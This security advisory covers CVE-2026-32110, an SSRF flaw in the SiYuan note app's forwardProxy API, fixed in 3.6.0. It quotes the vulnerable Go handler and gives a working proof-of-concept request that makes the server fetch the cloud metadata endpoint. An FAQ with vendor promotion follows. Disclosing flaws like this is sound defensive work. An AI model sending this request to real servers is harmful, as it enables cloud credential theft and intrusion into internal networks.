CVE-2026-32110

The /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.

Affected Code

File: /kernel/api/network.go (Lines 153-317)

func forwardProxy(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    destURL := arg["url"].(string)
    // VULNERABILITY: Only validates URL format, not destination
    if _, e := url.ParseRequestURI(destURL); nil != e {
        ret.Code = -1
        ret.Msg = "invalid [url]"
        return
    }

    // ... HTTP request is made to user-controlled URL ...
    resp, err := request.Send(method, destURL)
    
    // Full response body is returned to the user
    bodyData, err := io.ReadAll(resp.Body)
    // ...
    ret.Data = data  // Contains full response body
}

PoC

• First, authenticate with your access auth code and copy the authenticated cookie.
• Now use the request below for SSRF to Access Cloud Metadata.

POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102

{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'

• Internal Network Reconnaissance: Attackers can scan internal services
• Cloud Credential Theft: Potential access to cloud metadata and IAM credentials
• Data Exfiltration: Server can be used as a proxy to access internal resources
• Firewall Bypass: Requests originate from trusted internal IP

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-32110 has a CVSS score of 8.3 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.6.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32110? CVE-2026-32110 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 3.5.9. It is fixed in 3.6.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-32110? CVE-2026-32110 has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-32110? github.com/siyuan-note/siyuan/kernel (go) versions <= 3.5.9 is affected.
4. Is there a fix for CVE-2026-32110? Yes. CVE-2026-32110 is fixed in 3.6.0. Upgrade to this version or later.
5. Is CVE-2026-32110 exploitable, and should I be worried? Whether CVE-2026-32110 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32110 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32110? Upgrade github.com/siyuan-note/siyuan/kernel to 3.6.0 or later.